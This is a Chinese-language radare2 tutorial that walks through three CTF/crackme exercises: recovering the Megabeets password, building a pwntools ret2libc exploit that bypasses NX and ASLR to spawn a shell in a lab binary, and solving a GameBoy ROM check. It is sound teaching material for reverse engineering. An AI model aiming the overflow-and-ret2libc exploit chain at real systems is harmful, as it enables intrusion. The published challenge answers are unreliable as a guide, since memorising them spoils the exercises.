Radare入门到进阶

基本信息

radare2是一个开源的逆向工程和二进制分析框架，包括反汇编、分析数据、打补丁、比较数据、搜索、替换、虚拟化等等，同时具备超强的脚本加载能力，它可以运行在几乎所有主流的平台（GNU/Linux, .Windows *BSD, iOS, OSX, Solaris…）并且支持很多的cpu架构以及文件格式。 radare2工程是由一系列的组件构成，这些组件可以在 radare2 界面或者单独被使用–比如我们将要在接下来实验中使用到的rahash2, rabin2, ragg2三个组件，所有这些组件赋予了 radare2 强大的静态以及动态分析、十六进制编辑以及溢出漏洞挖掘的能力。

Kali已经自带radare2

我们可以输入-h查看帮助，i开头的命令主要用来获取各种信息，A系列的命令用于分析文件

image-20240210115155347

image-20240210115210174

image-20240210115224693

r2 框架里最强的一个工具 ：rabin2.

rabin2 可以获取包括ELF, PE, Mach-O, Java CLASS文件的区段、头信息、导入导出表、字符串相关、入口点等等，并且支持几种格式的输出文件.我们可以使用它来获取二进制文件的基本信息

输入man rabin2查看更多用法。对于反汇编，我们可以输入vv进入图形化界面。输入q则可以退出图形化界面，回到shell

入门

首先rabin2加上-I 参数 来让 rabin2 打印出二进制文件的系统属性、语言、字节序、框架、以及使用了哪些 加固技术

image-20240210115622138

我们可以看到这是一个32位的 elf 文件，没有剥离符号表并且是动态链接的

接下来我们尝试运行它

image-20240210115723007

可以看到，不论是否加参数都会显示wrong。

接下来我们使用radare2来进行破解。

image-20240210115845205

看到黄色字体输出了一个地址 (0x08048370)，这就是它自动识别的程序入口点，或者我们也可以使用ie命令手动打印出入口点。

接下来输入aa或者aaa进行细致的分析

image-20240210115925640

分析完成之后， r2会将所有有用的信息和特定的名字绑定在一起，比如区段、函数、符号、字符串，这些都被称作 ‘flags’, flags 被整合进 ，一个 flag 是所有类似特征的集合

接下来我们看看所有的flag

image-20240210115958812

我们打印出imports下面的信息

image-20240210120028466

为了获取更多的信息，我们可以再列出数据段里的字符串

image-20240210120055994

出现了关键字，一个是success，一个是我们之前运行时的wrong….。那我们接下来就跟着success走，看看哪儿进行了调用

输入命令axt @@ str.*，并使用afl列出分析到的函数

‘axt’ 命令用来在 data/code段里找寻某个地址相关的引用（更多的操作，请看 ‘ax?’）.

‘@@’就像一个迭代器，用来在地址空间里不断地匹配后面一系列相关的命令（更多操作，请看 ‘@@?’）

‘str.*’ 是一个通配符，用来标记所有以 ‘str.’开头的信息，不光会列出字符串标志，同时也包括函数名，找到它们到底在哪里以及何处被调用。

接下来我们看看radare2分析出来哪些函数

image-20240210120506254

看到两个引起我们注意的sym.beet和sym.rot13

接下来我们用 ‘s main’ 指令定位到main函数入口处，然后用 ‘pdf’输出反汇编代码

image-20240210120612639

分析函数的执行流程，我们知道二进制程序是通过获取 beet函数的返回结果来判断是否正确

输入pdf@sym.beet定位到反汇编

image-20240210120706294

image-20240210120834756

我们看到输入的参数被拷贝到了一个缓存空间里，这个空间的地址是 ‘ebp – local_88h’ 。 ‘local_88h’ 就是十进制的 136。由于4个字节会被用来保存 ebp 的地址，4个字节被用来保存返回地址，所以这个缓冲区得大小是 128个字节.它们加起来刚好是 136. 我们输入的参数被拷贝到缓冲区后被用来和 sym.rot13的返回结果作对比， Rot-13 是一个著名的替换密码算法，在ctf和crackme中被广泛使用，这个函数接受了9个十六进制值作为参数，但是上图中看起来r2好像没有识别出来到底是什么字符，这里我们需要用 ‘ahi s’ 来做些处理。

1
ahi s @@=0x080485a3 0x080485ad 0x080485a7

ahi s 是用来设置字符串特定的偏移地址（使用 ahi? 获取更多用法），@@是一个迭代器，可以用来接受后面输入的多个参数,执行完这条命令后，图形视图会自动刷新。重新运行pdf@sym.beet

image-20240210121257193

可以看到之前无法识别的字符串’Megabeets’(根据字节序反向压栈顺序得到)。这个二进制文件将我们传入的参数来和经过 rot13 处理后的 ‘Megabeets’ 作比较

接下来我们通过rahash2求出这个字符串的校验值

image-20240210121407504

至此，程序的逻辑就很清楚了：

‘Zrtnorrgf’ 就是用来和我们输入的字符串作比较，成功则返回success

接下来输入ood?进入调试模式

将Zrtnorrgf作为参数进行调试

输入dc查看结果

image-20240210121546310

输出了success，我们成功破解了这个小软件，也借此掌握了radare2的基本用法

进阶

常用命令：

信息搜集:

​ $ rabin2 -I ./program — 查看二进制信息

ii [q] – 查看导出表

?v sym.imp.func_name — 获取过程链接表中相应函数的地址（func_name@PLT）

?v reloc.func_name —获取全局偏移表中函数的地址（func_name@GOT）

ie [q] — 获取入口点地址

内存相关：

dmm — 列出模块 (库文件，内存中加载的二进制文件)

dmi [addr|libname] [symname] — 列出目标库的符号标识

搜索：

/?— 列出搜索子命令

/ string — 搜索内存/二进制文件的字符串

/R [?] —搜索ROP gadgets

/R/ — 使用正则表达式搜索ROP gadgets

调试：

dc — 继续执行

dcu addr – 继续执行直到到达指定地址

dcr — 继续执行直到到达ret (使用步过step over)

dbt [?] —基于 dbg.btdepth 和 dbg.btalgo显示backtrace追踪函数

doo [args] — 添加参数重新打开调试模式

ds — 步入一条指令（step on）

dso — 步过（Step over）

Visual Modes

pdf @ addr — 打印出相应偏移处的函数的汇编代码

V —视图模式,使用p/P to在不同模式间切换

本实验的重点是exp的开发，将使用radare 2绕过启用ASLR的系统上的NX保护的二进制文件，并进行exp的开发。

拿到小程序后，我们首先使用rabin2查看文件相关信息

image-20240210122304648

由上图可以看到二进制文件是NX保护的，这意味着我们不会有一个可执行的堆栈依赖。这就加大了我们写exp的难度，同样，这也给我们的学习与挑战带来了乐趣。

现在我们来看看程序的反汇编。我们先以调试模式打开，然后对符号、函数进行分析

image-20240210122829057

接下来继续执行，直到到达main函数

image-20240210122854521

接下来我们使用vv进入图形化模式

image-20240210123817194

我们可以看到main()函数中通过scanf()帮助我们输入，然后将输入值传递给sym.beet，因此定位到处理我们输入的beet函数。按q退出vv模式

image-20240210123158664

我们可以看到，用户的输入[arg_8h]被复制到了缓冲区[local_88h]，然后正如我们在上一个radare2入门实验中看到的一样,字符串Megabeets将会通过rot13加密，加密后的结果将会与我们的输入进行比较。

此处存在的漏洞是：程序不检查输入的大小，并将输入复制到缓冲区。这意味着，如果我们输入一个大于缓冲区大小的输入，就会导致缓冲区溢出并破坏堆栈

接下来我们来看看我们的exp该怎么编写。

我们的目标是在系统上得到一个shell。首先，我们需要验证确实存在一个易受攻击的函数，然后，我们将找到有效负载覆盖堆栈的偏移量。

我们使用radare2的一个框架ragg2, ragg2允许我们生成一个名为deBruijn序列的循环模式，并检查有效负载覆盖缓冲区的确切偏移量。

image-20240210124026111

接下来我们要做三件事情：

1.使用ragg2将De Bruijn模式的文件写入

2.创建rarun2配置文件和设置输出文件作为标准输入

vim profile.rr2

image-20240210124258237

3.让radare2自动找到偏移值

image-20240210124743090

我们执行了我们的二进制文件，并通过rarun2传递了pattern.txt的内容到stdin，并收到了信号量11

image-20240210124819281

我们注意到提示指向0x41417641？这是一个无效的地址，代表“AvAA”（ascii），这是我们前面生成的模式的一部分。

image-20240210125135227

由上图可以知道140个字节后将会出现返回地址的覆盖，我们可以开始制作我们的payload了。

前面提到我们的机器受ASLR保护所以我们不能预测地址，libc将加载到内存并且地址会发生变换。此外，我们的二进制程序开启NX，这意味着栈是不可执行的，我们不能仅仅把shellcode写入堆栈，跳转到它来执行。虽然这些保护阻止我们使用一些技术开发exp，但它们并不是绝对有效的，我们可以很容易地制造出其他的payload绕过它们

我们再次以调试模式打开二进制文件，并查看库和它使用的函数。

image-20240210125246324

我们已经看到了puts和scanf了，我们可以利用这两个函数来创建一个完美的漏洞。我们的exp的编写基于以下的逻辑：我们可以控制该程序的流程，将尝试执行系统（“/bin/sh”）从而弹出一个shell。

因此我们需要完成以下几件事情：

1.泄露puts的真实地址

2.计算libc的基址

3.计算system的地址

4.找到包含/bin/sh字符串的libc的地址

5.使用/bin/sh进行系统调用，并且拿到shell

先来看看我们exp的框架（exploit1.py）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

#Add
puts_plt = 
puts_got = 
entry_point = 

#context.log_level = "debug"

def main():
    #open process
    p = process("./megabeets_0x2")
    
    # Initial payload
    payload = "A"*140
    ropchain = p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)
   	payload = payload + ropchain
    
    p.clean()
    p.sendline(payload)
	
    leak = p.recv(4)
    leak = u32(leak)
    log.info("puts is at: 0x%x" % leak)
    p.clean()
    
if __name__ == "__main__":
    main()

我们需要填入的就是puts_plt , puts_got , entry_point 三个地址

我们将利用radare2找到这三个地址

image-20240210133151857

?v sym.imp.puts命令的意思是获取puts函数在PLT中的地址，接下来获取puts_20在GOT中的地址与程序入口

image-20240210133348092

填入exp，执行

image-20240210133613652

我们执行了三遍，可以看到每次执行后的puts的地址都会发生变化。因此我们不能提前预测地址。现在我们需要找到puts在libc中的偏移，然后计算lib的基址。之后我们根据基址然后使用对应的偏移来计算出system,exit,”/bin/sh”的真实地址。

Exp（exploit.py）的框架是这样的：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

#Add
puts_plt = 
puts_got = 
entry_point = 

#Offsets
offset_puts = 
offset_system = 
offset_exit = 
offset_str_bin_sh = 

#context.log_level = "debug"

def main():
    #open process
    p = process("./megabeets_0x2")
    
    # Initial payload
    payload = "A"*140
    ropchain = p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)
   	payload = payload + ropchain
    
    p.clean()
    p.sendline(payload)
	
    leak = p.recv(4)
    leak = u32(leak)
    log.info("puts is at: 0x%x" % leak)
    p.clean()
    
    # Calculate libc base
    libc_base = leak - offset_puts
    log.info("libc base: 0x%x" % libc_base)
    
    #Calculate offsets
    system_addr = libc_base + offset_system
    exit_addr = libc_base + offset_exit
    binsh_addr = libc_base + offset_str_bin_sh
    
    log.info("system is at: 0x%x" % system_addr)
    log.info("/bin/sh is at: 0x%x" % binsh_addr)
    log.info("exit is at: 0x%x" % exit_addr)
    
    #build 2nd payload
    payload2 = "A"*140
    ropchain2 = p32(system_addr)
    ropchain2 += p32(exit_addr)
    ropchain2 += p32(binsh_addr)
    payload2 = payload2 + ropchain2
    p.sendline(payload2)   
    
    log.success("Here comes the shell!")
    
    p.clean()
    p.interactive()
    
if __name__ == "__main__":
    main()

我们接下来的任务就是使用radare2找到偏移量

image-20240210134908119

image-20240210135734579

image-20240210135759122

填充后，成功拿到shell

image-20240210140034709

我们回顾下这次实验中是如何pwn的：

主要分为两个阶段。

第一个阶段，我们需要：140字节的填充，PLT中puts的地址，入口点，GOT中puts的地址。

目的：泄露puts的地址。通过多次执行，发现中put的地址是改变的，即我们事先不能预测它的地址，所以为了获取真实地址我们必须通过偏移量，基址进行计算得到。

对应我们的脚本 exploit1.py

第二个阶段，我们需要：140字节的填充，system@libc,exit@libc,/bin/sh地址

对应我们的脚本exploit.py

目的：计算偏移，基址获取关键函数的真实地址，从而系统调用拿到shell

总结一下，关键的步骤：多次泄露puts的地址-》发现地址随机，无法事先预测地址-》计算偏移，基址来获取关键函数调用真实地址-》拿到shell

进阶

本实验旨在通过radare2来解决GameBoy ROM挑战的一个项目：simple.gb

首先我们在radare2打开二进制文件，检查它的架构、格式（i命令给出关于二进制文件的信息，~是r2内部的grep命令）

image-20240210141758683

由上图可以看出这是一个GameBoy的ROM，那么在阅读了它的一些指令集之后我们该去完成这次挑战了

安装模拟器并测试，发现失败后有字符FAIL

回到kali，查看FAIL地址（izzq会打印出存在于整个二进制文件中的字符串）

image-20240210141931919

pd打印反汇编代码并查找对应的位置

image-20240210142035016

我们可以看到在0x2e4引用，所以我们搜索这个地址，并打印该函数：（s addr 用于定位到某个地址，pdf用于打印出反汇编函数）

image-20240210142133980

我们可以看到，radare2识别出我们的函数从0x274开始。在底部有一些比较操作，然后跳转到失败的消息或者其他消息（字符串在0x02ee），我们去那儿看看。（ps意思是打印字符串，@是一个临时搜索）

image-20240210142348760

我们找到了win

那么我们给0x274重命名为check_input，然后开始分析

image-20240210142835655

VV需要大写

image-20240210142952910

可以看到，函数结合了很多跳转和if条件语句

我们发现函数检查每个数字，并将其与正确的比较。在左边我们可以看到有效数字。让我们快速查看这些块。我们使用p在不同视图之间再次切换，直到达到常规图形模式。

image-20240210143034616

简单地看了一下，大概地明白程序的意思了：二进制程序检查是否每个位置上的数字都与特定的值相等。使用cmp imm命令按照这个顺序:3,7,5,1,9检查。

image-20240210143414426

再仔细分析汇编，

在第一个块中，0x4被移动到hl（ld指令)，而hl又移动到寄存器bc，然后bc中引用的值与0x3进行比较。bc指向我们的输入，因此此处的检查功能检查bc+4是否等于0x3。在下一个块中，我们可以看到返回到其原始值的bc现在增加了两次(Inc)（bc+2），它所引用的值与0x7进行了比较。在示例的最后一个块中，bc返回其初始值，然后递增一次，其引用值与0x5比较。

那么逻辑就应该是这样的：

1
2
3
4
5
6
7
8
9
def check_password (guess):   

      if guess[4]==3 and guess[2]==7 and guess[1]==5 andguess[3]==1 and guess[0]==9:

          print "WIN!"

       else:

           print "FAIL!"

由上述代码代码逻辑可以看出，输入的数字作为数组排列的话，真实顺序应该为95713